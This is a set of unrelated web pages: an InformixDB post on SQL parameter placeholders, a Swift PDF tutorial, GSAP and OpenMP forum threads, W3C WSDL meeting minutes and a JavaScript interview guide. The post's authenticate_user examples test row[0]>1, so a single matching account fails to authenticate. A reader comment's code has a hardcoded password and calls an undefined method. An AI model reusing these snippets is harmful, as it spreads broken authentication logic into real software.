This sets up a Tester class that creates a temporary table and supplies methods for inserting rows into this table, one using string formatting and one using parameter placeholders.
We then invoke the timeit module to measure how long repeated calls to those methods take:
$ python -mtimeit -s "from querytest import Tester; t=Tester()" \
't.without_params()'
1000 loops, best of 3: 415 usec per loop
$ python -mtimeit -s "from querytest import Tester; t=Tester()" \
't.with_params()'
10000 loops, best of 3: 150 usec per loop
This shows that, on my computer, filling in the blanks using parameter placeholders speeds up this test by a factor of almost 3. Add the speed improvements to the security improvements and the choice between string formatting and parameter placeholders becomes a no-brainer.
In addition to the standard question mark placeholders, InformixDB allows two other styles of placeholders. The following examples show how alternative placeholder styles can be used to improve the readability of your application.
The first alternative style is referred to as numeric. With numeric style, parameter placeholders are a colon followed by a number:
def authenticate_user(conn, username, password):
cur = conn.cursor()
cur.execute("""
select count(*) from authorized_users
where username = :1
and password = :2
""", (username, password) )
row = cur.fetchone()
return (row[0]>1)
The advantage of this style is that you can rearrange the query without having to rearrange the parameters. Also, if the same parameter value appears multiple times in the query, you can repeat the same placeholder instead of having to supply the same parameter value twice:
# question marks:
cur.execute("""
select * from orders
where order_date between ? and ? + 1 units month
""", (some_date, some_date) )
# numeric:
cur.execute("""
select * from orders
where order_date between :1 and :1 + 1 units month
""", (some_date,) )
While this is nice, the code would be even more readable if you could give the parameters meaningful names. That's possible with the parameter style called "named":
def authenticate_user(conn, username, password):
cur = conn.cursor()
cur.execute("""
select count(*) from authorized_users
where username = :username
and password = :password
""", {'username':username, 'password':password} )
row = cur.fetchone()
return (row[0]>1)
Note that this requires that the second argument be a dictionary that maps the parameter names to their corresponding values. Writing out this dictionary is tedious if you have a lot of parameters, which is why I use a neat trick instead. InformixDB allows the parameter dictionary to contain more keys than it needs, as long as it contains at least the keys that correspond to the parameter names in the query. If your parameter placeholders have the same names as the local variables that supply the corresponding values, which is a good idea anyway in the interest of writing self-documenting code, you can use the locals() function to build the parameter dictionary:
def authenticate_user(conn, username, password):
cur = conn.cursor()
cur.execute("""
select count(*) from authorized_users
where username = :username
and password = :password
""", locals() )
row = cur.fetchone()
return (row[0]>1)
Any similarities of this last example to Informix 4GL host variables are entirely intentional, since simulating host variables was my main motivation when I added the ability to handle named parameters to InformixDB.
In case you're wondering, you don't have to specify which parameter style you're using. The execute() method detects automatically which style you're using, and you can switch between styles as long as you don't mix different styles in the same query.
As a final note I'd like to mention that InformixDB needs to parse the query to translate numeric and named placeholders to the native question marks. This takes time, so you will incur a small performance hit. I haven't measured this performance hit, but it should be much smaller than the performance gain from using parameter placeholders in the first place.
Also note that the placeholder parser is not a full SQL parser, so it can be fooled into seeing parameter placeholders where there aren't any, as in the following example by the evil genius of Jonathan Leffler: select * from somedb :sometable will cause the parser to think that :sometable is a parameter placeholder. To prevent this kind of false positive, you need to be careful when you write queries involving remote tables. Either put spaces on both sides of the colon or use no spaces at all, and the parser will understand that the colon is not part of a parameter placeholder.
I hope that you have enjoyed this edition of informixdb.connect and that you will be back for the next installment.
4 comments:
Hey!
The named parameters is probably the best form since it appears to be a "standard" across multiple databases.
Love that use of locals(). My solution was to pass a dictionary in as one of my parameters and use the values as needed.
"Standard" is to be taken with a grain of salt. sqlite supports named, as does cx_Oracle, although I heard cx_Oracle doesn't allow the dictionary to be over-specified. If that's true, the locals() trick goes out the window.
The DB-SIG mailing list has recently reached a consensus for making named parameter support mandatory in a future version of the API spec. Until that happens, you should always check with the documentation of the API in question which parameter style(s) it supports.
Great article, Carsten. Thanks.
Regarding reading sblob object, here is the code example:
import informixdb
import datetime
def main(argv=None):
if argv is None:
argv = sys.argv
aud = audit()
aud.init_connection()
aud.analiza()
aud.close_connection()
class audit():
def init_connection(self):
print 'init connection'
audit.conn = informixdb.connect('database_name@instance'
,user='a'
,password='a')
audit.cursor = audit.conn.cursor()
return 1
def analiza(self):
print 'analiza'
audit.cursor.execute("""select message from poll_manager
where appid='user_name'
and to_char (time, '%Y%m%d')>='20080112'
and to_char (time, '%Y%m%d')<'20080113'""")
hl7 = audit.cursor.fetchone()[0]
hl7.open()
f_hl7 = hl7.read(10000)
print f_hl7
def connection(self):
print 'close connection'
self.cursor.close()
self.conn.close()
if __name__ == '__main__':
main()
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http://informixdb.blogspot.com/2007/07/filling-in-blanks.html
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Hide home indicator with Swift
The iPhone X removed the home button and replaced it with what Apple calls the
PDF files are common place and with iOS/iPadOS becoming a more powerful operating system, opening PDF files and other regular computer type tasks will become more common place.
In this tutorial we explore two ways of opening a PDF file with Swift. The PDF can be a local file or a hosted file but we will be using a local file. If you want to use a hosted file it will work in basically the same way. Both methods that we are going to use today allows for us to use a
URL when trying to load the PDF, so it doesn't matter whether the
URL is a local file or not.
Even though this tutorial is not focussed on opening a remote PDF, I will be adding the code at the end of each section that will allow you to open a remote PDF file. You can also find the full source code for this tutorial here.
Now that we know what we are doing, let's get to the code:
As I mentioned earlier in this tutorial we will be focussing on how to open a local PDF file. In order to do that we need to have a PDF file that we can add to our project. To do that I have used the following PDF file -. I have named this file
heaps.pdf, so in the code below you will see that I use the file name
heaps.
I will not be including the PDF file in the repo as I am not sure what license it has and if I am allowed to distribute it.
Because we are adding this PDF to our project we can use
Bundle.main to get the file's
URL. To do this we need to create the following method:
private func resourceUrl(forFileName fileName: String) -> URL? { if let resourceUrl = Bundle.main.url(forResource: fileName, withExtension: "pdf") { return resourceUrl } return nil }
This method will take the file name as the argument. If the file exists then we will return the
resourceUrl, if it does not exist we will return
nil.
We will use this method for both the
WKWebView and
PDFKit.
NOTE: All the code for this tutorial will be in my
ViewControllerfile as I am working with a new project and this is a tutorial. If this wasn't a tutorial I would put this code in a more appropriate place.
Now that we have our
resourceUrl method that will return the
URL for our PDF file, we can implement our
createWebView method. Just before we do that, we need to import
WebKit.
Add the following import to your file:
import WebKit
Ok, now that we have
WebKit imported, we can create our new method. This new method will create a new
WKWebView and then it will load the
URL and return the webview that was created. But, this will only happen if a PDF exists, if one doesn't then this method will return nil.
private func createWebView(withFrame frame: CGRect) -> WKWebView? { let webView = WKWebView(frame: frame) webView.autoresizingMask = [.flexibleWidth, .flexibleHeight] if let resourceUrl = self.resourceUrl(forFileName: "heaps") { webView.loadFileURL(resourceUrl, allowingReadAccessTo: resourceUrl) return webView } return nil }
The above method takes a
frame as an argument so that we can set the
WKWebView frame when we initialise it.
After that we set the
autoResizingMask with
.flexibleWidth and
.flexibleHeight.
Now we will use the
resourceUrl method that we created in Step 1. We call the
resourceUrl method with
heaps as the
fileName argument value, this is the name of my PDF file, please change this name to whatever you have called your PDF file. If
resourceUrl returns a
URL we load it in the webview by using
loadFileUrl. If it returns nil, we will return nil because the webview will be empty.
If you want a full tutorial on loading local files with a WKWebView, I have written one that you can find here.
Now that we have created a webview to display the PDF, we need to show the webview. To do this we will create a new method called
displayWebView, which will look like this:
private func displayWebView() { if let webView = self.createWebView(withFrame: self.view.bounds) { self.view.addSubview(webView) } }
Nothing complicated here. We call the
createWebView method with the our view's bounds. If this method returns a webview we will add it as a subview to
self.view, if it returns
nil then nothing will happen.
We can now display the webview by calling the
displayWebView in our
viewDidLoad method. Update your
viewDidLoad method to look like the following:
override func viewDidLoad() { super.viewDidLoad() self.displayWebView() }
If you build and run the app now you should see the following:
WKWebView is easy, but loading one from a remote
URL is even easier because we do not need to use the
resourceUrl method. If you want to open the PDF from the url of the file that I linked in Step 1, you can update the
createWebView method to the following:
private func createWebView(withFrame frame: CGRect) -> WKWebView? { let webView = WKWebView(frame: frame) webView.autoresizingMask = [.flexibleWidth, .flexibleHeight] if let resourceUrl = URL(string: "") { let request = URLRequest(url: resourceUrl) webView.load(request) return webView } return nil }
Instead of calling
resourceUrl we used
URL(string: ) which will return a
URL if the string that we pass through is valid.
Opening a remote PDF cannot be done by using
loadFileURL, because
loadFileURL is only for local files. So in order to load a remote
URL we need to create a
URLRequest and pass the
URLRequest to the
WKWebView method called
load.
If you build and run the app now, you will see that the PDF loads as expected, however, it will take longer because it needs to download the file.
If you skipped Step 1, please ensure that you read that before continuing. In Step 1 we created the
resourceUrl method that will return the file
URL.
When using
PDFKit there are two main classes that we are going to use. These two classes are
PDFView and
PDFDocument.
PDFView is a subclass of
UIView and it will be the view that shows the PDF file.
PDFDocument loads the PDF file and allows us to set the
document property on the
PDFView.
Before we can use these classes we need to import
PDFKit. To do that add the following import to your file:
import PDFKit
Now that we have imported
PDFKit we can start creating the methods that will allow us to use it.
The first method we will create is the
createPdfView. This method will take a frame as an argument. We will use this when we initialise our
PDFView.
Add the following code to your file:
private func createPdfView(withFrame frame: CGRect) -> PDFView { let pdfView = PDFView(frame: frame) pdfView.autoresizingMask = [.flexibleWidth, .flexibleHeight] pdfView.autoScales = true return pdfView }
This method will initialise a
PDFView, it will set the
autoResizingMask and then we will set
autoScales as true. If we don't set the
autoScales the scale of the PDF document won't be correct. If you want you can set this manually, but for this tutorial using
autoScales is fine. Once the
PDFView has be setup we return it.
We can now use the
resourceUrl method and create a
PDFDocument. To do that, add the following method to your code:
private func createPdfDocument(forFileName fileName: String) -> PDFDocument? { if let resourceUrl = self.resourceUrl(forFileName: fileName) { return PDFDocument(url: resourceUrl) } return nil }
This method will take the file name of the file we want to open. We pass that file name to
resourceUrl, if the file exists we create a
PDFDocument, if it doesn't exist we will return nil.
All the hard work is now done. Let's create our display method. Add the following code:
private func displayPdf() { let pdfView = self.createPdfView(withFrame: self.view.bounds) if let pdfDocument = self.createPdfDocument(forFileName: "heaps") { self.view.addSubview(pdfView) pdfView.document = pdfDocument } }
In this method we call
createPdfView and we pass
self.view.bounds to set the frame of the
PDFView. Next, we call
createPdfDocument in an
if let. If the
PDFDocument could be created, we will add
pdfView as a subview to
self.view and we will assign
pdfDocument to
pdfView.document so that when the view gets shown, the PDF will be visible.
The last thing that we need to do now is call
displayPdf from our
viewDidLoad. Update your
viewDidLoad to the following:
override func viewDidLoad() { super.viewDidLoad() self.displayPdf() }
If you build and run the app now you will see the following:
This looks almost identical when comparing it to the webview implementation. There is one visual difference besides the scaling. When using a
PDFView, we don't have a page count in the top left corner, where the webview does.
To open a remote PDF with
PDFKit we need to change one line in our
createPdfDocument method.
Update
createPdfDocument method to look like this:
private func createPdfDocument(forFileName fileName: String) -> PDFDocument? { if let resourceUrl = URL(string: "") { return PDFDocument(url: resourceUrl) } return nil }
The only change in the above method is removing the call to
self.resourceUrl and replacing it with
URL(string: ). If you build and run the app now, everything will work as expected, except it will take a bit longer for the PDF to be displayed because it needs to be downloaded.
Either of these methods make it easy to open PDF files, whether the file is local to the device or not. Deciding on which to use is up to you. One way might suit your needs to better, it all depends what your requirements are.
If you want to see the full source, you can find it here.
|
https://programmingwithswift.com/open-pdf-file-with-swift-pdfkit-wkwebview/
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refinedweb
| 1,638
| 72.46
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GordonFreemanMembers
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Reputation
Draggable snap function not called
GordonFreeman replied to GordonFreeman's topic in GSAPHello, Thanks for the demo stub It helped me to find the Problem. It appears that the Draggable plugin does not work properly with TweenLite. Appearently I switched at a time to use TweenLite instead of TweenMax without noticing that something broke. Now it works as I use TweenMax again, thanks!
Draggable snap function not called
GordonFreeman posted a topic in GSAPThere was a time when I used to have an SVG chart to be dragged along and snapping on the existing x values. Had the ThrowProps to have a nice throwed slide along the x axis. And it worked fine. Since more than a week ago it just stopped to work properly. Neither the snap nor the throw props work. The Snap function for the x value - as I provide it - is not even called. There is no exception thrown. It just doesn't do more than being draggable and only snaps to the bounds. How might I debug that? I have no clue xD The problem simply cannot exist. I could try to reproduce the problem in a codepen - just, how do I add the draggable and throwProps plugin there? Though I'm quite sure that on the codepen it will just work. As same es it does work on the other codepens I used as a cheatsheet. As same as it did work in my application I already reinstalled gsap and downloaded and copied the bonus file again. Also checked if the import has worked. And now I'm changing parameters and ask here xD to get just any surface for the problem.
import { ... } from 'gsap' vs from 'gsap/all'
GordonFreeman replied to Friebel's topic in GSAP@OSUblake Thanks! the thread is indeed very useful
- hi @OSUblake No I did not notice any notification^^ Well the thing about eval is produced by webpack. I would like to not have the evals just did not find a way around them. As it probably would mean not to use webpack at all. I liked the Idea to add all the css and js to the HTML - if I have a buildsystem why shouldn't it complete the task?
- Yess, finally - I had to cleanly remove all require's and that fixed the Webpack issue which was left. Still regarding GSAP the NPM Package and the Webpack import - the problem is that this specified comment line is causing a breakout of the script tag corrupting the whole document.
- still did not win the battle. But probably it is worth adding some information. The Pug appears to behave exactly how it should. As it parses 1:1 the bundle.js where it should inside a script tag in the head. I also noticed that the section where it becomes torn apart is a pretty long comment inside ./node_modules/gsap/TweenLite.js /**\n\t\t\t * @constructor\n\t\t\t * Defines a GreenSock class, optionally with an array of dependencies that must be instantiated first and passed into the definition.\n\t\t\t * This allows users to load GreenSock JS files in any order even if they have interdependencies (like CSSPlugin extends TweenPlugin which is\n\t\t\t * inside TweenLite.js, but if CSSPlugin is loaded first, it should wait to run its code until TweenLite.js loads and instantiates TweenPlugin\n\t\t\t * and then pass TweenPlugin to CSSPlugin's definition). This is all done automatically and internally.\n\t\t\t *\n\t\t\t * Every definition will be added to a \"com.greensock\" global object (typically window, but if a window.GreenSockGlobals object is found,\n\t\t\t * it will go there as of v1.7). For example, TweenLite will be found at window.com.greensock.TweenLite and since it's a global class that should be available anywhere,\n\t\t\t * it is ALSO referenced at window.TweenLite. However some classes aren't considered global, like the base com.greensock.core.Animation class, so\n\t\t\t * those will only be at the package like window.com.greensock.core.Animation. Again, if you define a GreenSockGlobals object on the window, everything\n\t\t\t * gets tucked neatly inside there instead of on the window directly. This allows you to do advanced things like load multiple versions of GreenSock\n\t\t\t * files and put them into distinct objects (imagine a banner ad uses a newer version but the main site uses an older one). In that case, you could\n\t\t\t * sandbox the banner one like:\n\t\t\t *\n\t\t\t * <script>\n\t\t\t * var gs = window.GreenSockGlobals = {}; //the newer version we're about to load could now be referenced in a \"gs\" object, like gs.TweenLite.to(...). Use whatever alias you want as long as it's unique, \"gs\" or \"banner\" or whatever.\n\t\t\t * </script>\n\t\t\t * <script src=\"js/greensock/v1.7/TweenMax.js\"></script>\n\t\t\t * <script>\n\t\t\t * window.GreenSockGlobals = window._gsQueue = window._gsDefine = null; //reset it back to null (along with the special _gsQueue variable) so that the next load of TweenMax affects the window and we can reference things directly like TweenLite.to(...)\n\t\t\t * </script>\n\t\t\t * <script src=\"js/greensock/v1.6/TweenMax.js\"></script>\n\t\t\t * <script>\n\t\t\t * gs.TweenLite.to(...); //would use v1.7\n\t\t\t * TweenLite.to(...); //would use v1.6\n\t\t\t * </script> */ So my current track is the interpretation of the eval(modulecodestring) where </script> somewhere somehow becomes parsed as HTML which results in a premature script tag close. And now a good Question - if this really appears to be that issue causing the broken HTML. How did this work for anybody ever? Probably it would be cool if you remove those comments anyways before package distribution. So when I remove this comment. The HTML stays sane - but still there is a mysterious problem which causes the Error: Uncaught TypeError: Cannot assign to read only property 'exports' of object '#<Object>' This error is then caused in the module which imports gsap. As if the module object somehow becomes... "sterilized" xD So now it appears to be more of a webpack issue. When being more exact - mixture of import and require - probably now I'm coming a little bit closer
- Well does produce the same strings in the HTML. I've tried for all the variations of synthax how to use import which I could find here: Currently I'm thinking that for the build process as tought maybe the problem is with pug - as the bundle.js looks ~"ok" - ignoring all the evals.^^ But it appears to only fail when importing something off gsap.
|
https://greensock.com/profile/59677-gordonfreeman/
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refinedweb
| 1,160
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|
Hi,
I have a problem with the gcc compiler (version Red Hat 5.3.1-2) and the linking of openmp libraries.
My code includes both some OpenMP directives (so I have to compile with -fopenmp) and some MKL functions (so I link with -liomp5 -lpthread (composer_xe_2013) to use the multithreading).
So my executable is linked with both libgomp.so and libiomp5.so.
The multi-threading in the MKL functions works fine but the OpenMP directives (#pragma ...) are not taken into account.
Why do these two links prevent the OpenMP directives?
Below is a simple code which illustrates the problem.
#include <cstdio>
#include "omp.h"
int main(int argc, char *argv[])
{
omp_set_num_threads(4);
#pragma omp parallel
{
printf("number of threads = %d \n", omp_get_num_threads());
}
return 0;
}
When I compile with "/usr/bin/c++ OpenMP_test.cpp -o OpenMP_test -fopenmp" the OpenMP directives work.
When I compile with "/usr/bin/c++ OpenMP_test.cpp -o OpenMP_test -fopenmp -L/opt/intel/lib/intel64 -liomp5 -lpthread" the OpenMP directives don't work.
Thanks for your help
Link Copied
It's just plain wrong to link both libgomp and libiomp5, as the latter supports libgomp compatibility on Linux. You may need to separate your compile and link steps so as to avoid fopenmp in the latter. You might succeed in getting the link step to ignore fopenmp if you would give a more reasonable order in your command line.
|
https://community.intel.com/t5/Intel-oneAPI-Math-Kernel-Library/Gcc-compiler-and-openmp-linking/td-p/1086695
|
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refinedweb
| 232
| 67.35
|
tf2 transform error: Lookup would require extrapolation into the past
Hi, I am currently trying to simulate a quadcopter in gazebo using mavros and px4 sitl. In this simulation, the quadcopter will identify an aruco marker, then attempt to center itself with that marker. To do so, I needed to transform the marker frame (on the ground) to the frame of the quadcopter itself (map). I have checked to see if all the frames I am working with are from the same tf but when I run the code, I get the error pictured below.
Using ROS kinetic, on ubuntu 16.04.
tf tree
these are two separate trees.
- local_origin]-->[local_origin_ned]-->[fcu_frd]-->[fcu]
- [map]-->[base_link]-->[marker_frame] (This is the tf I am working with)
Code
#include <ros/ros.h> #include <tf2_ros/transform_listener.h> #include <geometry_msgs/TransformStamped.h> #include <geometry_msgs/PoseStamped.h> #include <tf2_ros/buffer_interface.h> #include <tf2_geometry_msgs/tf2_geometry_msgs.h> geometry_msgs::PoseStamped poseIn; geometry_msgs::PoseStamped poseOut; bool received; ros::Duration timeout; void callback(const geometry_msgs::PoseStamped& msg){ poseIn = msg; received= true; } int main(int argc, char** argv){ ros::init(argc, argv, "listener_test"); ros::NodeHandle nh; ros::Subscriber sub = nh.subscribe("aruco_single/pose", 100, &callback); tf2_ros::Buffer tfBuffer; tf2_ros::TransformListener tfListener(tfBuffer); ros::Rate rate(10.0); //rate 10 sleep(1); while (nh.ok()){ try{ if(received){poseOut = tfBuffer.transform(poseIn, "map", ros::Duration(0.0));} } catch (tf2::TransformException &ex) { ROS_WARN("%s",ex.what()); ros::Duration(1.0).sleep(); continue; } rate.sleep(); ros::spinOnce(); } return 0; }
Error
[ WARN] [1560275941.431970740, 1406.020000000]: Lookup would require extrapolation into the past. Requested time 1405.716000000 but the earliest data is at time 1560275940.551247808, when looking up transform from frame [base_link] to frame [map]
hmm I have it enabled in my gazebo launch file as shown, however it doesn't seem to be doing any good. From what I read it shouldn't have to be enabled more than once correct?
Going to try and see what happens if I enable it in as many launch files as I can.
ok so, it seems to be working when I enable it in multiple launch files. The only problem now is that the same error occurs but it requires extrapolation into the future instead of past,
Okay we're very close now. If you look at the times, the tf buffer is less than 0.02 seconds behind. You're currently calling transform with no timeout (i.e.
Duration(0.0)) if you change this to
Duration(0.1)then this should start working. This will give the transform call enough time to wait for the most recent TF data to arrive allowing it to successfully transform the pose.
Awesome everything seems to be functioning now! Thank you very much for sticking with me through this, I have learned a lot. I really appreciated the help.
You're welcome. Glad you got it working.
|
https://answers.ros.org/question/325486/tf2-transform-error-lookup-would-require-extrapolation-into-the-past/
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refinedweb
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See also: IRC log
<Jonathan> Yes, suppose so...
<TomJ> can't access conference on zakim
<asir> can't access conference on Zakim
minutes approved
Jonathan: arthur suggested to add canonicalization for WSDL1.1 component designators
Arthur: If the WG agrees, we should recommend to add a canonicalization to be consistent with WSDL2.0
Asir: we could open a formal
issue to th WS-Policy WG ?
... I can open it.
<scribe> ACTION: Asir to open a WS-Policy issue and link it with CR80 [recorded in]
<Jonathan>
Jonathan: jason says that he
would like to extend the rpc signature but agrees the
suggestion is bad timing
... can we accept this response and leave the spec as it is?
TomJ: we do not prevent what he wants, toolkits may modify the rpc signature
RESOLUTION: close CR082 and mark it as accepted
<Jonathan>
Jonathan: CR092/CR092 is about
soap usage that WSDL2.0/SOAP binding does not allow to
describe
... I sent a partial list of soap1.2 functionalities that cannot be described with our soap1.2 binding
Tom: we should say that the soap1.2 fault details element will contain an element, but may contain other stuff that is not described
Jonathan: proposal is to add the
list of SOAP functionalities that cannot be described and add
tom comment
... can we close these two issues with this resolution ?
RESOLUTION: close CR92 and CR93 according proposal
Jonathan: CR096 seems editorial
Arthur: I will check the source and let's move on
Jonathan: issue CR095 is about
wsoap:header@element. Being of type QName, it prevents the #any
value
... Why should we allow it?
... proposal is #any is not allowed as it has not a clear utility
<asir> +1 Jonathan's suggestion
Arthur: It seems that we are not
generating message assertions. We need another assertion
table
... we could also have one assertion table, with a "assertion type" column
... as a quick fix, I will add another table but I prefer to have one unique table that combines all current tables
Jonathan: arthur proposal for CR094 is to add another assertion table
RESOLUTION: CR094 closed with arthur proposal
back to CR095
Jonathan: #any is a no op.
RESOLUTION: CR095
is closed with no action, jonathan to answer to
ram
... close CR096 by removing the cited assertion
Issue CR097
Jonathan: it seems that this
assertion is redundant with schema checks
... the order of the desc. children is not captured by the schema. This assertion is about the order.
Roberto: we come up with this schema, looser than expected because of non determinism issues
Jonathan: proposal is close with no action
RESOLUTION: Close CR097 with no action
Issue CR098
<Jonathan>;%20charset=utf-8#Types-1300002
Jonathan: Is the cited assertion already covered by other assertions, as suggested?
<scribe> ACTION: Arthur to look at CR098 [recorded in]
Issue CR099
Jonathan: similar to CR098
<scribe> ACTION: Arthur to look at CR099 [recorded in]
Issue CR100
Jonathan: Import-0001 and Import-0070 seem to adress the same thing, unless any subtlety
Arthur: we should leave the text and retain only one of the two assertions.
RESOLUTION: Close CR100 by dropping Import-0001 assertion (but leaving the text)
<Arthur> I just committed the fix to CR094
Issue CR101
Jonathan: The three assertions seem redundant
Proposal is to keep the assertion in section 121900 and remove the other assertions
RESOLUTION: Close CR101 according this proposal
Issue CR102
Arthur: we should rewrite this
assertion and remove the use of "imported components"
... we want to say that we import a namespace.
... proposal is to rewrite Import-0003 sentence and remove this assertion
RESOLUTION: close CR102 according proposal
Issue CR103
Tony: the second assertion is not complete. We should remove the second assertion and fix the wording.
Jonathan: do we want to remove
the sentence or improve it?
... the proposal is to take the last sentence of the section 3.1.1.2 and move it to section 3.1.2
<Jonathan> reword = reference Schema-0016
Jonathan: in addition, remove the assertion Types-1300001 and rewording it to add a reference to Schema-0016
RESOLUTION: close CR103 according proposal
Issue CR104
RESOLUTION: Close Issue CR104 and remove Description-0024
Issue CR105
Jonathan: proposal is to remove assertion markup from 1204002
RESOLUTION: close CR105 by dropping InterfaceOperation-1204002
Issue CR106
Jonathan: drop InterfaceOperation-1204003
RESOLUTION: Close CR106 by dropping InterfaceOperation-1204003
Issue CR107
Roberto: we could test the case of two styles that are contradictory
Jonathan: but we rely on
something external
... proposal is to close CR107 with no action and add a test case
RESOLUTION: close CR107 with no action
Issue CR108
<Roberto> 14: !unique => present <=> ! ! absent
<Roberto> 6: ! absent => unique
<Roberto> so they are logically equivalent, no?
<Roberto> oops, I mixed up the 14/6 labels
<Roberto> the first one I wrote is 6, the second one 14
<Roberto> I'd assert that they are equivalent and 6 should be removed, as it is the most poorly worded of the two
<scribe> ACTION: Amy to write a proposal for CR108 [recorded in]
This is scribe.perl Revision: 1.127 of Date: 2005/08/16 15:12:03 Check for newer version at Guessing input format: RRSAgent_Text_Format (score 1.00) Succeeded: s/details/soap1.2 fault details/ Succeeded: s/value/utility/ Succeeded: s/the first assertion/one of the two assertions/ No ScribeNick specified. Guessing ScribeNick: youenn Inferring Scribes: youenn WARNING: Replacing list of attendees. Old list: TonyR +1.514.964.aaaa Jonathan_Marsh Allen_Brookes Tom_Jordahl Asir_Vedamuthu Arthur Canon Amelia_Lewis New list: Roberto Tom_Jordahl Amelia_Lewis Jonathan_Marsh Allen_Brookes Asir_Vedamuthu Canon Arthur TonyR m2 Gilbert_Pilz +1.650.786.aaaa Default Present: Roberto, Tom_Jordahl, Amelia_Lewis, Jonathan_Marsh, Allen_Brookes, Asir_Vedamuthu, Canon, Arthur, TonyR, m2, Gilbert_Pilz, +1.650.786.aaaa Present: Roberto Tom_Jordahl Amelia_Lewis Jonathan_Marsh Allen_Brookes Asir_Vedamuthu Canon Arthur TonyR m2 Gilbert_Pilz +1.650.786.aaaa Got date from IRC log name: 7 Dec 2006 Guessing minutes URL: People with action items: amy arthur asir[End of scribe.perl diagnostic output]
|
http://www.w3.org/2006/12/07-ws-desc-minutes.html
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refinedweb
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Ace the Javascript Interview
Recently, There is a lot of demand of Javascript developers out there. If you're familiar with
React and
Angular then that will be a plus for you. But if you fail to answer the basics of JavaScript, you will have a tough time clearing the Tech Interview rounds of the companies for which you're appearing.
I've compiled down all the popular concepts and questions related to a Javascript Interview. No matter at what level of understanding you're currently at, this will help you out.
Table of Contents
- Array Methods
- Var, Let, Const
- Hoisting
- == vs ===
- this keyword
- call(), apply() and bind()
- Local Storage / Session Storage
- Timers - setTimeout(), setInterval()
- Polyfills
- Event Loop (The Right Way)
- Promises
- Async / Await
- Closures
- Prototypes
- Debouncing
- Babel and Webpack: Coming Soon
- Server Side Rendering: Coming Soon
Array Methods
Questions around array methods revolve around different array functions that are being used on a day to day basis.
map()
filter()
reduce()
forEach()
find()
map()
map() iterates over an array and returns a new array based on the condition provided.
Example:
const myArray = [1, 2, 3, 4, 5]; const newArray = myArray.map((arrayElement) => arrayElement * 2); console.log(newArray); // [2, 4, 6, 8, 10]
filter()
Filter does exactly what it says, filters out the elements from an array. Based on the condition, one can filter out the elements from an array.
Example:
let myArray = [1, 2, 3, 4, 5]; let newArray = myArray.filter((arrayElement) => arrayElement > 4); console.log(newArray); // [5]
reduce()
reduce() is a powerful method which can be used to reduce the values of array to one single element. Values get accumulated over each iteration and at the end, we are left with a single value / element.
Example:
with reduce()
let numbers = [1, 2, 3, 4]; let sum = numbers.reduce((accumulator, current) => accumulator + current); console.log(sum); // 10
without reduce()
let numbers = [1, 2, 3, 4]; let sum = 0; for (let i = 0; i < numbers.length; i++) { sum += numbers[i]; } console.log(sum); // 10
It reduced 3 steps for calculating the sum to just 1 step.
forEach()
This is the simplest to understand method. It simply iterates over the array and performs whichever condition is specified.
Example:
let numbers = [1, 2, 3, 4]; numbers.forEach((number) => number % 2 === 0 ? console.log("even") : console.log("odd") );
Note:
forEach() doesn't return a new array.
find()
find() method takes in a callback function which checks the condition while iterating over every element of the array and returns the
first match.
Example:
let ages = [12, 32, 42, 22, 13]; const checkAge = (age) => { return age > 18; }; let result = ages.find(checkAge); console.log(result); // 32
Note: The difference between
indexOf and
find() is that
find() returns the element, while
indexOf returns the index at which the element is present.
Difference Between map() and forEach()
Var, Let and Const
var
var
var text = "Hey bruh!"; function newFunction() { var textNew = "hello"; } console.log(textNew); // error: textNew is not defined
Here, error is generated
textNew is not defined because
textNew is declared within a function, and it is not accessible outside the function scope. While
text can be accessed outside because it is declared outside.
var text = "hey bruh"; var text = "Helloooooooo!"; var text; // valid
let
let
let is now the preferred way of declaring and initializing variables in JavaScript.
let text = "Hi Manu!"; let length = 10; if (length > 5) { let welcome = "Hi Manu, welcome to block scope"; console.log(welcome); } console.log(welcome); // Error
let text = "Hi Manu!"; text = "Please redeclare me!"; // error: text has already been declared
But here is a catch,
If the variable is defined in different scopes, there will be no error.
let text = "Hi Manu"; if (true) { let text = "Hello Paaji!"; console.log(text); // "Hello Paaji!" } console.log(text); // "Hi Manu"
const
const
Variables declared with
const maintain a constant value. They share some similarities with
let.
const text = "Hi"; text = "say bye"; // error: Assignment to constant variable.
const text = "Hi"; const text = "say bye"; // error: text has already been declared
const text; // error
Note:
Hoisting
Hoisting is a mechanism of JavaScript where variables and function declarations are moved to the top of their scope before code execution.
No matter where the function and variables are declared, they are moved at
the top of their scope
console.log(counter); // undefined var counter = 1;
Here, undefined will be printed, no error will be shown.
console.log(counter); let counter = 1; // Reference error - counter is not initialized.
Here,
Reference error will be thrown because the
counter variable is not initialized.
Example: Before hoisting
let result = add(x, y); console.log(result); function add(a, b) { return a + b; }
Example: After hoisting
function add(a, b) { return a + b; } let x = 20, y = 10; let result = add(x, y); console.log(result);
== vs ===
Example: ==
let number = 1; let str = "1"; console.log(number == str); // true
Example: ===
let number = 1; let str = "1"; console.log(number === str); // false
In more precise terms:
== converts both the values to the same type and then compares
=== strictly checks for equality, which is, same type and content.
this Keyword
The
thiskeyword references the object of which the function is a property of. In simple words, the
thiskeyword references the object that is currently calling the function
Example:
let car = { brand: "BMW", getBrand: function () { return this.brand; }, }; console.log(car.getBrand()); // BMW
Here, the output is
BMW because the method
getBrand() is called where
this.brand is being returned. Now,
this refers to the object car; and hence,
this.brand refers to
car.brand and
BMW is returned.
call(), apply() and bind()
- - `this` points to global scope.
Default Binding
- - using dot notation
Implicitly
function fun() { console.log(this); } const obj = { counter: 1, fun: fun, }; obj.fun(); // {counter: 1, fun: ƒ}. that is: obj
- - Force a function to use an object at their `this` place. Here, We have three options: `call()`, `apply()`, and `bind()`
Explicitly
call():
Pass in the required object as the first parameter during function call, The actual parameters are passed after the object, one after the other
function fun(param1, param2) { console.log(this); } const obj = { counter: 1, }; const param1 = 1, param2 = 2; fun.call(obj, param1, param2); // {counter: 1} - the obj is binded with fun() method
apply():
Pretty much same as
call(), only difference is that parameters are passed as an
array.
function fun(param1, param2) { console.log(this); } const obj = { counter: 1, }; const param1 = 1, param2 = 2; fun.apply(obj, [param1, param2]); // {counter: 1} - the obj is binded with fun() method
bind():
A new function is created where we explicitly bind the
this which is fixed. Also
known as bound functions.
function fun() { console.log(this); } const obj = { counter: 1, }; const boundFunction = fun.bind(obj); boundFunction(); // {counter: 1}
Local Storage and Session Storage
persist data
Local Storage
localStorage.setItem("name", "Manu"); // set an item localStorage.getItem("name"); // retrieve the data localStorage.removeItem("key"); // remove data
Session Storage
sessionStorage.user = { name: "Manu", };
Timers - setTimeout() and setInterval()
setTimeout()
The method calls a function after a specified duration of time has passed.
setTimeout(function () { console.log("Manu"); }, 2000);
